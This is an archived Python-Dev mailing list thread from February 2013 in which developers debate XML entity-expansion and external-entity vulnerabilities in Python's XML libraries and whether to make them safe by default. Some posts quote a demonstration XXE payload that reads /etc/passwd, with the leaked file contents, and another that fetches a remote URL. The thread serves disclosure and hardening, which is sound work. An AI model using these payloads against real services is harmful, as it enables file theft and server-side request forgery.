Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Reminds me of the encoding attacks that were possible in earlier versions of Python... you could have e.g. an email processing script run the Python test suite by simply sending a specially crafted email :-) On 21.02.2013 13:04, Christian Heimes wrote: Am 21.02.2013 11:32, schrieb Antoine Pitrou: You haven't proved that these were actual threats, nor how they actually worked. I'm gonna remain skeptical if there isn't anything more precise than It highly depends on the parser and the application what kind of exploit is possible. https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default $ ./python-external.py REQUEST: weatherAachen/weather RESPONSE: - weatherThe weather in Aachen is terrible./weather REQUEST: ?xml version=1.0 encoding=utf-8? !DOCTYPE weather [ !ENTITY passwd SYSTEM file:///etc/passwd ] weatherpasswd;/weather RESPONSE: - errorUnknown city root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bi/error REQUEST: ?xml version=1.0 encoding=utf-8? !DOCTYPE weather [ !ENTITY url SYSTEM http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem; ] weatherurl;/weather RESPONSE: - errorUnknown city -BEGIN DH PARAMETERS- MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC -END DH PARAMETERS- These are the 512 bit DH parameters from Assigned Number for SKIP Protocols (http://www.skip-vpn.org/spec/numbers.html). See there for how they were generated. Note that g is not a generator, but this is not a problem since p is a safe prime. /error Q.E.D. Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/mal%40egenix.com -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Feb 24 2013) Python Projects, Consulting and Support ... http://www.egenix.com/ mxODBC.Zope/Plone.Database.Adapter ... http://zope.egenix.com/ mxODBC, mxDateTime, mxTextTools ...http://python.egenix.com/ : Try our mxODBC.Connect Python Database Interface for free ! :: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Le Thu, 21 Feb 2013 00:30:56 +0100, Christian Heimes christ...@python.org a écrit : Am 21.02.2013 00:08, schrieb Antoine Pitrou: Not everyone is a security nuts. But, but, but ... it's fun to be paranoid! You get so many new potential enemies. :) If you like being paranoid, there are other things than security to be paranoid about: reference cycles, performance on micro-benchmarks, memory consumption of docstrings, etc. :-) Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 21.02.2013 10:23, schrieb Antoine Pitrou: If you like being paranoid, there are other things than security to be paranoid about: reference cycles, performance on micro-benchmarks, memory consumption of docstrings, etc. :-) snappy(__doc__)? http://code.google.com/p/snappy/ Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 21.02.2013 08:42, schrieb Antoine Pitrou: Sure, but in many instances, rebooting a machine is not business-threatening. You will have a couple of minutes' downtime and that's all. Which is why the attack must be repeated many times to be a major annoyance. Is this business-threatening enough? https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote * An attacker can circumvent firewalls and gain access to restricted resources as all the requests are made from an internal and trustworthy IP address, not from the outside. * An attacker can abuse a service to attack, spy on or DoS your servers but also third party services. The attack is disguised with the IP address of the server and the attacker is able to utilize the high bandwidth of a big machine. * An attacker can exhaust additional resources on the machine, e.g. with requests to a service that doesn't respond or responds with very large files. * An attacker may gain knowledge, when, how often and from which IP address a XML document is accessed. * An attacker could send mail from inside your network if the URL handler supports smtp:// URIs. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Le Thu, 21 Feb 2013 11:18:35 +0100, Christian Heimes christ...@python.org a écrit : Am 21.02.2013 08:42, schrieb Antoine Pitrou: Sure, but in many instances, rebooting a machine is not business-threatening. You will have a couple of minutes' downtime and that's all. Which is why the attack must be repeated many times to be a major annoyance. Is this business-threatening enough? https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote You haven't proved that these were actual threats, nor how they actually worked. I'm gonna remain skeptical if there isn't anything more precise than It highly depends on the parser and the application what kind of exploit is possible. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Feb 21, 2013, at 5:32 AM, Antoine Pitrou solip...@pitrou.net wrote: Le Thu, 21 Feb 2013 11:18:35 +0100, Christian Heimes christ...@python.org a écrit : Am 21.02.2013 08:42, schrieb Antoine Pitrou: Sure, but in many instances, rebooting a machine is not business-threatening. You will have a couple of minutes' downtime and that's all. Which is why the attack must be repeated many times to be a major annoyance. Is this business-threatening enough? https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote You haven't proved that these were actual threats, nor how they actually worked. I'm gonna remain skeptical if there isn't anything more precise than It highly depends on the parser and the application what kind of exploit is possible. Regards Antoine. I guess someone need to write a proof of concept exploit for you and release it into the wild. Ok ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Le Thu, 21 Feb 2013 06:05:52 -0500, Jesse Noller jnol...@gmail.com a écrit : On Feb 21, 2013, at 5:32 AM, Antoine Pitrou solip...@pitrou.net wrote: Le Thu, 21 Feb 2013 11:18:35 +0100, Christian Heimes christ...@python.org a écrit : Am 21.02.2013 08:42, schrieb Antoine Pitrou: Sure, but in many instances, rebooting a machine is not business-threatening. You will have a couple of minutes' downtime and that's all. Which is why the attack must be repeated many times to be a major annoyance. Is this business-threatening enough? https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote You haven't proved that these were actual threats, nor how they actually worked. I'm gonna remain skeptical if there isn't anything more precise than It highly depends on the parser and the application what kind of exploit is possible. Regards Antoine. I guess someone need to write a proof of concept exploit for you and release it into the wild. I don't know whether you are trying to be ironic but, for the record, proof of concepts needn't be released into the wild as long as they exist. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 21.02.2013 11:32, schrieb Antoine Pitrou: You haven't proved that these were actual threats, nor how they actually worked. I'm gonna remain skeptical if there isn't anything more precise than It highly depends on the parser and the application what kind of exploit is possible. https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default $ ./python-external.py REQUEST: weatherAachen/weather RESPONSE: - weatherThe weather in Aachen is terrible./weather REQUEST: ?xml version=1.0 encoding=utf-8? !DOCTYPE weather [ !ENTITY passwd SYSTEM file:///etc/passwd ] weatherpasswd;/weather RESPONSE: - errorUnknown city root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bi/error REQUEST: ?xml version=1.0 encoding=utf-8? !DOCTYPE weather [ !ENTITY url SYSTEM http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem; ] weatherurl;/weather RESPONSE: - errorUnknown city -BEGIN DH PARAMETERS- MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC -END DH PARAMETERS- These are the 512 bit DH parameters from Assigned Number for SKIP Protocols (http://www.skip-vpn.org/spec/numbers.html). See there for how they were generated. Note that g is not a generator, but this is not a problem since p is a safe prime. /error Q.E.D. Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 21.02.2013 12:16, schrieb Antoine Pitrou: I don't know whether you are trying to be ironic but, for the record, proof of concepts needn't be released into the wild as long as they exist. Fun fact: In fact the abbreviation 'ap' doesn't stand for 'Antoine Pitrou' but for 'antipole'. I'm a bit paranoid and overcautious. Antoine acts as my antipole and counter balance. Together we make a fairly good team. :) Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Le Thu, 21 Feb 2013 13:19:54 +0100, Christian Heimes christ...@python.org a écrit : Am 21.02.2013 12:16, schrieb Antoine Pitrou: I don't know whether you are trying to be ironic but, for the record, proof of concepts needn't be released into the wild as long as they exist. Fun fact: In fact the abbreviation 'ap' doesn't stand for 'Antoine Pitrou' but for 'antipole'. I'm a bit paranoid and overcautious. Antoine acts as my antipole and counter balance. Together we make a fairly good team. :) Not really, since I'm overcautious towards paranoid people. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Le Thu, 21 Feb 2013 13:04:59 +0100, Christian Heimes christ...@python.org a écrit : Am 21.02.2013 11:32, schrieb Antoine Pitrou: You haven't proved that these were actual threats, nor how they actually worked. I'm gonna remain skeptical if there isn't anything more precise than It highly depends on the parser and the application what kind of exploit is possible. https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default $ ./python-external.py [snip] Again, this requires that your attacker can directly feed XML to the system *and* read the response. Not every computer is a public Internet server. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, Feb 21, 2013 at 6:35 AM, Tres Seaver tsea...@palladion.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 02/20/2013 09:08 PM, Barry Warsaw wrote: On Feb 21, 2013, at 10:38 AM, Nick Coghlan wrote: - make it possible to enable safer behaviour globally in at least 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well) I want to be fairly conservative with 2.6.9. I believe that the same rationale should apply as that for adding hash randomization in 2.6.8: this is at least as bad a vulnerability, with many more vectors of attack. FYI the hash randomization is broken (it only allows 256 really different hashes) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, Feb 21, 2013 at 9:29 AM, Tres Seaver tsea...@palladion.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 02/21/2013 01:53 AM, Antoine Pitrou wrote: On Thu, 21 Feb 2013 11:37:47 +1100 Steven D'Aprano st...@pearwood.info wrote: It's easy to forget that malware existed long before the Internet. The internet is just a transmission vector, it is not the source of malicious files. The source of malicious files is *other people*, and unless you never use XML files you didn't generate yourself, you cannot completely trust the source. You might trust your colleagues to not *intentionally* pass you a malicious XML file, but they may still do so accidentally. That's in theory very nice, but in practice security in everyday computing hasn't really been a concern before the massification of Internet access. (yes, there have been viruses on mainstream platforms such as the Amiga, but it was pretty minor compared to nowadays, and nobody cared about potential DoS attacks for example) So, as for XML files, we are talking about a DoS vulnerability. It will take more than a single file to make a DoS attack really annoying, which means the attacker must pollute the source of those XML files in a systemic way. It's not a single XML file will smuggle confidential data out of the building. Antoine, A single, small,, malicious XML file can kill a machine (not just the process parsing it) by sucking all available RAM. We are talking hard lockup, reboot-to-fix-it sorts of DOC here. Er no. We're talking about running out of RAM. Any reasonable person would already have a limit one way or another (rlimits anyone). ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Jesse Noller writes: I guess someone need to write a proof of concept exploit for you and release it into the wild. This is a bit ridiculous. This stuff looks easy enough that surely Christian's post informed any malicious body who didn't already know how to do it. If the exploit matters, it's already in the wild. (Hey, didja know that an XML processor that expands entities does so recursively? Uh-oh ) Yeah, there's a problem here. But ... as far as I can see all the exploits suggested (including those Christian provided in python-external.py) require either blindly processing text from requests received off the Internet as XML, or an attacker capable of doing something equivalent to replacing a Python library. I certainly think defusedxml is a valuable contribution, and not just for security nuts. But to quote from Christian's own README (warning: taken out of context to make *my* point): 7. These are features but they may introduce exploitable holes, see `Other things to consider`_ I'd like to see a little (well, to be honest, a *lot*) more analysis of the kind Fred Drake implicitly suggests: Doing so *will* be backward incompatible, and I'm not sure there's a good way to gauge the extent of the breakage. before making these restrictions the default. Eg, 40 entity indirections in a single expansion (defusedxml's default maximum) may seem like a lot, but I've seen some pretty complex expressions built as entities that recurse three or four levels. Of course, that was a while ago, and today most of the entities would be replaced by actual characters. Nevertheless, I bet those legacy expressions break the 40 indirection limit, or, rather, the limit would break them. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, Feb 21, 2013 at 9:23 AM, Stephen J. Turnbull step...@xemacs.orgwrote: Jesse Noller writes: I guess someone need to write a proof of concept exploit for you and release it into the wild. This is a bit ridiculous. This stuff looks easy enough that surely Christian's post informed any malicious body who didn't already know how to do it. If the exploit matters, it's already in the wild. (Hey, didja know that an XML processor that expands entities does so recursively? Uh-oh ) Just to clarify for my own curiosity. These attacks (e.g. http://en.wikipedia.org/wiki/Billion_laughs) have been known and public since 2003? Eli ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 21.02.2013 19:39, schrieb Eli Bendersky: Just to clarify for my own curiosity. These attacks (e.g. http://en.wikipedia.org/wiki/Billion_laughs) have been known and public since 2003? Correct, see https://pypi.python.org/pypi/defusedxml#synopsis third paragraph. All XML attacks in my analysis are well known for years, billion laughs for about a decade. As far as I know it's the first time somebody has compiled and published a detailed list of vulnerabilities in Python's XML libraries. However I'm not the only one. OpenStack and Django were contacted by several people in the past few weeks, too. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, Feb 21, 2013 at 11:12 AM, Christian Heimes christ...@python.orgwrote: Am 21.02.2013 19:39, schrieb Eli Bendersky: Just to clarify for my own curiosity. These attacks (e.g. http://en.wikipedia.org/wiki/Billion_laughs) have been known and public since 2003? Correct, see https://pypi.python.org/pypi/defusedxml#synopsis third paragraph. All XML attacks in my analysis are well known for years, billion laughs for about a decade. As far as I know it's the first time somebody has compiled and published a detailed list of vulnerabilities in Python's XML libraries. However I'm not the only one. OpenStack and Django were contacted by several people in the past few weeks, too. Thanks, Christian. I think this should put the urgency of the fix into context. While I agree that we should work on making future versions resilient by default, I have doubts about the urgency of back-patching existing, in-mainteinance-mode stable versions with something that's not opt-in. Eli ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 20.02.2013 17:25, schrieb Benjamin Peterson: Are these going to become patches for Python, too? I'm working on it. The patches need to be discussed as they break backward compatibility and AFAIK XML standards, too. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes christ...@python.org wrote: Am 20.02.2013 17:25, schrieb Benjamin Peterson: Are these going to become patches for Python, too? I'm working on it. The patches need to be discussed as they break backward compatibility and AFAIK XML standards, too. That's not very good. XML parsers are supposed to parse XML according to standards. Is the goal to have them actually do that, or just address DDOS issues? Cheers, fijal ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
I'm working on it. The patches need to be discussed as they break backward compatibility and AFAIK XML standards, too. That's not very good. XML parsers are supposed to parse XML according to standards. Is the goal to have them actually do that, or just address DDOS issues? Having read through Christian's mail and several of his references, it seems to me that addressing the DDoS issues is preferable to blindly following a standard that predates the Morris worm by a couple years. Everyone played nice before that watershed event. Heck, back then you could telnet to g...@prep.ai.mit.edu without a password! Any incompatibility should have minimal impact. I haven't looked into the defusedxml package to see what limits it introduces to protect against attacks, but it seems that most well-behaved entities will use little, if any, recursion, and result in a size increase of less than a factor of 10 when fully expanded. Skip ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On 02/20/2013 01:53 PM, Skip Montanaro wrote: That's not very good. XML parsers are supposed to parse XML according to standards. Is the goal to have them actually do that, or just address DDOS issues? Having read through Christian's mail and several of his references, it seems to me that addressing the DDoS issues is preferable to blindly following a standard that predates the Morris worm by a couple years. Everyone played nice before that watershed event. Heck, back then you could telnet to g...@prep.ai.mit.edu without a password! Also, despite the title of this thread, the vulnerabilities include fetching of external DTDs and entities (per standard), which opens up attacks that are worse than just denial-of-service. In our initial Django release advisory we carelessly lumped the potential XML vulnerabilities together under the DoS label, and were quickly corrected. An XML parser that follows the XML standard is never safe to expose to untrusted input. This means the choice is just whether the stdlib XML parsers should be safe by default, or follow the standard by default. (Given either choice, the other option can still be made available via flags). Carl ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 20.02.2013 21:17, schrieb Maciej Fijalkowski: On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes christ...@python.org wrote: Am 20.02.2013 17:25, schrieb Benjamin Peterson: Are these going to become patches for Python, too? I'm working on it. The patches need to be discussed as they break backward compatibility and AFAIK XML standards, too. That's not very good. XML parsers are supposed to parse XML according to standards. Is the goal to have them actually do that, or just address DDOS issues? But the standard is flawed. It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 20.02.2013 22:02, schrieb Carl Meyer: Also, despite the title of this thread, the vulnerabilities include fetching of external DTDs and entities (per standard), which opens up attacks that are worse than just denial-of-service. In our initial Django release advisory we carelessly lumped the potential XML vulnerabilities together under the DoS label, and were quickly corrected. Right, I tried to address both kinds of issues in the title: XML DoS vulnerabilities and (other XML) exploits Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Carl Meyer wrote: An XML parser that follows the XML standard is never safe to expose to untrusted input. Does the XML standard really mandate that a conforming parser must blindly download any DTD URL given to it from the real live internet? Somehow I doubt that. -- Greg ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, 21 Feb 2013 11:35:23 +1300, Greg Ewing greg.ew...@canterbury.ac.nz wrote: Carl Meyer wrote: An XML parser that follows the XML standard is never safe to expose to untrusted input. Does the XML standard really mandate that a conforming parser must blindly download any DTD URL given to it from the real live internet? Somehow I doubt that. I don't believe it does. The DTD URL is, if I remember correctly, specified as an identifier. The fact that you can often also download the DTD from the location specified by the identifier is a secondary effect. But, it's been a *long* time since I looked at XML :) (Wikipedia says: Programs for reading documents may not be required to read the external subset., which would seem to confirm that.) --David ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wed, Feb 20, 2013 at 5:45 PM, R. David Murray rdmur...@bitdance.com wrote: (Wikipedia says: Programs for reading documents may not be required to read the external subset., which would seem to confirm that.) Validating parsers are required to read the external subset; this doesn't apply to the parsers distributed for Python today. Even when loading external resources, I don't think there's anything in the XML specification that says how they have to be loaded, or how to deal with an error when they are (and refusing to load because of resource limits is reasonably just another error with respect to the parser). While I'd hate to make XML processing more painful than it often is, there's no injunction not to be reasonable. Security concerns and resource limits are cross-cutting concerns, so it's not wrong to provide safe defaults. Doing so *will* be backward incompatible, and I'm not sure there's a good way to gauge the extent of the breakage. -Fred -- Fred L. Drake, Jr.fred at fdrake.net A storm broke loose in my mind. --Albert Einstein ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On 02/20/2013 03:35 PM, Greg Ewing wrote: Carl Meyer wrote: An XML parser that follows the XML standard is never safe to expose to untrusted input. Does the XML standard really mandate that a conforming parser must blindly download any DTD URL given to it from the real live internet? Somehow I doubt that. For a validating parser, the spec does mandate that. It permits non-validating parsers (browsers are the only example given) to simply note the existence of an external entity reference and retrieve it for display only on demand. [1] But this isn't particularly relevant; the quoted statement is true even if you ignore the external reference issues entirely and consider only entity-expansion DoS. Some level of non-conformance to the spec is necessary to make parsing of untrusted XML safe. Carl [1] http://www.w3.org/TR/xml/#include-if-valid ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 20.02.2013 23:45, schrieb R. David Murray: I don't believe it does. The DTD URL is, if I remember correctly, specified as an identifier. The fact that you can often also download the DTD from the location specified by the identifier is a secondary effect. But, it's been a *long* time since I looked at XML :) A DTD may have an identifier and a resource locator (local file or URL). It depends which kind of DTD is used (internal, external public or external system), e.g. !DOCTYPE name PUBLIC identifier url/file. For external DTDs a parser may chose to cache a DTD or map DTD identifier to its own set of DTDs. As far as I know a parser doesn't have to download a DTD unless it runs in validation mode. Just xml.sax and xml.dom.pulldom download DTDs, see https://pypi.python.org/pypi/defusedxml#python-xml-libraries DTD retrieval is not as severe as external entity expansion. With external entities like !ENTITY passwd SYSTEM file:///etc/passwd an attacker is actually able to download files and circumvent firewalls if the application returns parts of the XML file back. Most XML parsers expand entities and lots of them even expand external entities. Daniel Veillard (libxml2) has explained that entity expansion is required for XPath() and IIRC for features like XSL, too. Nowadays most XML parsers and libraries have options to disable certain features. Python's standard library doesn't have options for some features or ignores other settings silently. Everything is documented at https://pypi.python.org/pypi/defusedxml, too. Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wed, 20 Feb 2013 22:55:57 +0100 Christian Heimes christ...@python.org wrote: Am 20.02.2013 21:17, schrieb Maciej Fijalkowski: On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes christ...@python.org wrote: Am 20.02.2013 17:25, schrieb Benjamin Peterson: Are these going to become patches for Python, too? I'm working on it. The patches need to be discussed as they break backward compatibility and AFAIK XML standards, too. That's not very good. XML parsers are supposed to parse XML according to standards. Is the goal to have them actually do that, or just address DDOS issues? But the standard is flawed. It is not flawed as long as you are operating in a sandbox (read: controlled environment). It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Not everyone is a security nuts. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote: It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Even documents not loaded from the internet can be at risk. Often times security breaches are the result of a chain of actions. You can say I'm not loading this XML from the internet, so therefore I am safe but then you have another flaw (for example) where you unpack a zip file without verifying there are not absolute paths and suddenly your xml file has been replaces with a malicious one. Not everyone is a security nuts. This is precisely why things should be safe by default and allow unsafe actions to be turned on optionally. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 20.02.2013 23:56, schrieb Fred Drake: While I'd hate to make XML processing more painful than it often is, there's no injunction not to be reasonable. Security concerns and resource limits are cross-cutting concerns, so it's not wrong to provide safe defaults. Doing so *will* be backward incompatible, and I'm not sure there's a good way to gauge the extent of the breakage. We could walk a different path but that would keep Python's XML libraries in an insecure mode by default. My latest patch to expat and pyexpat supports global default values. The global defaults are used when a new parser is created with pyexpat.ParserCreate(). It's also possible to disable the new limitations in expat by default. We can add a function to the XML package tree that enables all restrictions: * limit expansion depths of nested entities * limit total amount of expanded chars * disable external entity expansion * optionally force expat to ignore and reset all DTD information 3rd party users have to disable secure settings explicitly for the current interpreter (although expat limits are process wide and shared across subinterpreters). try: import xml.security except ImportError: # old Python pass else: xml.security.harden_xml_parser() I guess most programs either process untrusted XML input or large XML documents that require expansion and DTD validation. Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Am 21.02.2013 00:08, schrieb Antoine Pitrou: Not everyone is a security nuts. But, but, but ... it's fun to be paranoid! You get so many new potential enemies. :) Jerry Fletcher ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
